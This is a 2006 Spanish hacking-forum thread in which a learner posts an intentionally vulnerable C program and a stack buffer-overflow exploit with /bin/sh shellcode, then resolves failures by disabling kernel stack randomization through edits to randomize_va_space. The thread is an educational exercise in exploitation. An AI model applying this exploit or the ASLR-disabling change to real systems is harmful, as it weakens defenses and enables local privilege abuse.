elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 15:23  


Tema destacado: [AIO elhacker.NET] Compilación herramientas análisis y desinfección malware

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Problema con ubicación de StackPointer en Linux Kernel 2.6.15 (resuelto)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Problema con ubicación de StackPointer en Linux Kernel 2.6.15 (resuelto)  (Leído 2,033 veces)
(0)3

Desconectado Desconectado

Mensajes: 196



Ver Perfil
Problema con ubicación de StackPointer en Linux Kernel 2.6.15 (resuelto)
« en: 24 Mayo 2006, 23:47 »

Hola a todos. Desde hace unas semanas he estado trasteando con la pila (despues de leer el "Smashing the stack for fun and profit"). Weno, mi problema es el siguiente.

Tengo un programa vulnerable (vulnerable.c)
======================================
#include <stdio.h>

unsigned long get_sp(void) {
           __asm__("movl %esp,%eax");
}

int main(int argc,char *argv[])
{
        char buf[512];
        printf("sp 0x%x\n",get_sp());
        fflush(NULL);
        if (argc > 1) strcpy(buf,argv[1]);
}
======================================


Prendo exploitarlo con mi exploit (exploit.c):
======================================

#include <stdio.h>
#include <unistd.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER _SIZE             512
#define NOP                            0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
                 __asm__("movl %esp,%eax");
}

int main(int argc, char *argv[]) {
          char *buff, *ptr;
          long *addr_ptr, addr;
          int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
          int i;

          if (argc < 2) {
                  puts("");
                  printf("Uso: %s <programa> <tamaño de buffer> <offset>\n", argv[0]);
                  puts("");
                  return 0;
          }
          if (argc > 2) bsize  = atoi(argv[2]);
          if (argc > 3) offset = atoi(argv[3]);

          if (!(buff = malloc(bsize))) {
          printf("No hay memoria.\n");
          return 1;
          }


          addr = get_sp() - offset;
          printf("Usando direccion: 0x%x\n", addr);

          ptr = buff;
          addr_ptr = (long *) ptr;
          for (i = 0; i < bsize; i+=4)
          *(addr_ptr++)=addr;

          for (i = 0; i < (bsize/2); i++) buff=NOP;

          ptr = buff + (bsize/2) - (strlen(shellcode)/2);
          for (i = 0; i < strlen(shellcode); i++)
          *(ptr++) = shellcode;

          buff[bsize - 1] = '\0';

          char prog[bsize+strlen(argv[1])+1];
          sprintf(prog,"%s \"%s\"",argv[1],buff);

          system(prog);
          puts("------------------------------------------------");
}
======================================

Pero resulta que el stack pointer (apuntador de pila) del exploit no es el mismo que el del programa vulnerable. Ni siquiera hai una diferencia constante entre sus apuntadores de pila.  Debido a esto, no vale de nada asignarle diferentes offsets hasta dar con una direccion valida dentro del buffer (ya que las direcciones son aleatorias).

Le he estado dando muchas vueltas y no logro ver que pasa. ¿ALGUIEN ME PUEDE AYUDAR POR FAVOR?

¿alguien que sepa como averiguar la direccion en la que se situa el buffer de l programa vulnerable ?????

uso gcc-3.3 y kernel 2.6.15 por si eso influye en algo...
« Última modificación: 7 Junio 2006, 00:50 por (0)3 » En línea

________________________________________________________________

People should think, machines should work.

Usa GNU/Linux si no quieres que tu sistema decida por ti !!!
________________________________________________________________
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Problema con exploit de prueba...
« Respuesta #1 en: 25 Mayo 2006, 05:31 »

OllyDBG

hay millones de cursos que tene enseñan a usarlo, la mayoria son para ingenieria inversa, pero les entenderas, la pila esta en el panel de abajo :P

te recomiendo el de ricardo narvaja ;)

Saludos
En línea

byebye


Desconectado Desconectado

Mensajes: 5.093



Ver Perfil
Re: Problema con exploit de prueba...
« Respuesta #2 en: 25 Mayo 2006, 10:15 »

en linux no va el ollydbg  :rolleyes:.

Citar
kernel 2.6.15
En línea
Crack_X
Anti-War
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.320


Peace & Love


Ver Perfil WWW
Re: Problema con exploit de prueba...
« Respuesta #3 en: 25 Mayo 2006, 11:58 »

Utiliza gdb es un poco complicado pero aprendes.
En línea

Shit loads of money spend to show us wrong from right. Say no to war


Yasser Has Things To Say
WarZone
(0)3

Desconectado Desconectado

Mensajes: 196



Ver Perfil
Re: Problema con exploit de prueba...
« Respuesta #4 en: 25 Mayo 2006, 14:25 »

 Ya utilizo gdb. Lo que pasa es que no se por que falla... A ver. En el manual de "smashing the stack for fun and profit" dice que los programas empiezan en la misma direccion de pila pero por lo que veo, en estos dos no es asi.
 En ambos obtengo la direccion del puntero de pila con __asm__("movl %esp,%eax") como podeis ver. Y la direccion que devuelven es diferente. La pregunta es ¿ Sabeis por que ? o si no
 ¿ sabeis exactamente cual es funcionamiento (algo mas explicativo que "los programas empiezan en la misma direccion de pila") de la obtencion de la direccion del buffer?

( el procesador es un pentium 4 )

 Gracias por vuestro tiempo.
En línea

________________________________________________________________

People should think, machines should work.

Usa GNU/Linux si no quieres que tu sistema decida por ti !!!
________________________________________________________________
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Problema con exploit de prueba...
« Respuesta #5 en: 28 Mayo 2006, 04:14 »

2 cosas:

1.-Borre tu ultimo post, no tengo que explicarte porque o si?
2.-

Código:
    for (i = 0; i < (bsize/2); i++) buff=NOP;
para que haces esto?
no seria mejor si:
Código:
   for (i = 0; i < (bsize/2); i++) buff[i]=NOP;

igual aca:
Código:
for (i = 0; i < strlen(shellcode); i++)
          *(ptr++) = shellcode;

es shellcode

a mi me funciona con esas modifcaciones :P y poniendo de tamaño de buffer un poco mas de la cuenta.

Saludos!!
En línea

(0)3

Desconectado Desconectado

Mensajes: 196



Ver Perfil
Re: Problema con exploit de prueba...
« Respuesta #6 en: 30 Mayo 2006, 00:28 »

gracias por responder. Mi codigo estaba bien. No se debio de copiar bien en el post (ya lo he corregido) :S pero si q tiene los corchetes ( si no no tendria ningun sentido... :P ). Pero sigue sin funcionarme. El problema no es ese sino q me falta un concepto q es el que preguntaba en el otro post.
   Es que no se como se averigua la direccion del buffer. A ver, con el codigo en ensamblador, obtengo la direccion del apuntador de pila. Para ver en que direccion de pila empezaba el programa vulnerable con respecto al exploit, meti ese codigo en los dos programas. Resultado, las direcciones de los apuntadores de pila (stack pointer) son aleatorios, por lo tanto es inútil q utilice un offset, ya que este tambien sera aleatorio...
  Alguna idea?? Gracias
« Última modificación: 30 Mayo 2006, 17:19 por (0)3 » En línea

________________________________________________________________

People should think, machines should work.

Usa GNU/Linux si no quieres que tu sistema decida por ti !!!
________________________________________________________________
(0)3

Desconectado Desconectado

Mensajes: 196



Ver Perfil
Re: Problema con exploit de prueba...
« Respuesta #7 en: 30 Mayo 2006, 01:50 »

 Vale, parece que es "problema" del kernel. He probado con un kernel 2.4 y funciona todo. Igual en mi version de kernel "2.6.15.7" hai algun mecanismo de seguridad que previene este tipo de ataques. No he visto nada al respecto en la configuracion del kernel... :(.   Alguien sabe algo al respecto ?? Agradecería cualquier informacion sobre el tema... Thx
En línea

________________________________________________________________

People should think, machines should work.

Usa GNU/Linux si no quieres que tu sistema decida por ti !!!
________________________________________________________________
(0)3

Desconectado Desconectado

Mensajes: 196



Ver Perfil
Re: Problema con ubicación de StackPointer en Linux Kernel 2.6.15
« Respuesta #8 en: 30 Mayo 2006, 17:17 »

Weno..."problema" resuelto. Explicare para los interesados por que no funcionaba este exploit de prueba y como lo hice funcionar. (problema va entre comillas porque realmente no es un problema)

   Efectivamente no funcionaba debido al kernel: Desde hace algunas versiones de linux (no se cual exactamente pero se q despues de la 2.6.7 y antes que la 2.6.15), han optado por randomizar la direccion del stack pointer dentro de un espacio de direcciones de 8 MB. Han optado por esto precisamente para complicar el aprovechamiento de los stack overflows (por eso no es un problema sino un "problema" :P ).

   Lo que he hecho yo ha sido modificar el codigo del kernel para que no haga esto, es decir, que use direcciones fijas para el stack. No os creais que soy un experto programador y que he hecho grandes cambios :P, tan solo he cambiado un 1 por un 0. JAJA

En /usr/src/linux/include/linux/kernel.h
cambié
#define randomize_va_space 1
por
#define randomize_va_space 0

y en /usr/src/linux/kernel/sysctl.c
cambie
int randomize_va_space = 1;
por
int randomize_va_space = 0;

Creo que solo hace falta cambiar este ultimo, pero por no comerme mas el tarro he cambiado los dos y funciona. Ahora las direcciones del stack pointer ya no son aleatorias y por lo tanto mi linux es mas vulnerable y ya funciona este codigo :P
En línea

________________________________________________________________

People should think, machines should work.

Usa GNU/Linux si no quieres que tu sistema decida por ti !!!
________________________________________________________________
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[RESUELTO]Infectado por el kernel.exe
Seguridad
WaAYa HaCK 4 1,789 Último mensaje 14 Abril 2011, 12:49
por Arcano.
no puedo conseguir RET en un exploit de linux [RESUELTO]
Bugs y Exploits
Belial & Grimoire 1 100 Último mensaje 17 Mayo 2012, 03:45
por Belial & Grimoire
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines